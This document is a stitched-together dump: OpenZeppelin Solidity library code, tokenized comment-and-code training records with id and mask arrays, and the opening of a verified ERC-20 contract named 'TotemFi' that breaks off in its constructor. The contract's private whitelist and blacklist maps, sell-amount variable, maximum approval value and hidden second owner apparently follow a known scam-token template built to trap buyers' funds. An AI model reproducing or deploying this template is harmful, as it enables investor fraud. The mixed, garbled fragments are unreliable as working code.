Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
Reentrancy protection
if (_currentIndex != startTokenId) revert();
527,813
[ 1, 426, 8230, 12514, 17862, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 309, 261, 67, 2972, 1016, 480, 787, 1345, 548, 13, 15226, 5621, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0x4FD31e0ECe45f46880D5C59F3Fc4391339b88e88/sources/CategoryFive.sol
Set stake timestamp as last withdraw timestamp to prevent withdraw immediately after first staking
account.lastStakedTimestamp = block.timestamp;
3,379,767
[ 1, 694, 384, 911, 2858, 487, 1142, 598, 9446, 2858, 358, 5309, 598, 9446, 7636, 1839, 1122, 384, 6159, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2236, 18, 2722, 510, 9477, 4921, 273, 1203, 18, 5508, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xFd3171eCA94a00e40b3671803d899d3FD86c073c/sources/contracts/PerpetualTranche.sol
@notice Pauses deposits, withdrawals and rollovers. @dev NOTE: ERC-20 functions, like transfers will always remain operational.
function pause() public onlyKeeper { _pause(); }
2,949,353
[ 1, 52, 9608, 443, 917, 1282, 16, 598, 9446, 1031, 471, 10643, 383, 2496, 18, 225, 5219, 30, 4232, 39, 17, 3462, 4186, 16, 3007, 29375, 903, 3712, 7232, 1674, 287, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11722, 1435, 1071, 1338, 17891, 288, 203, 3639, 389, 19476, 5621, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-04-06 */ pragma solidity ^0.6.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract TotemFi is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; 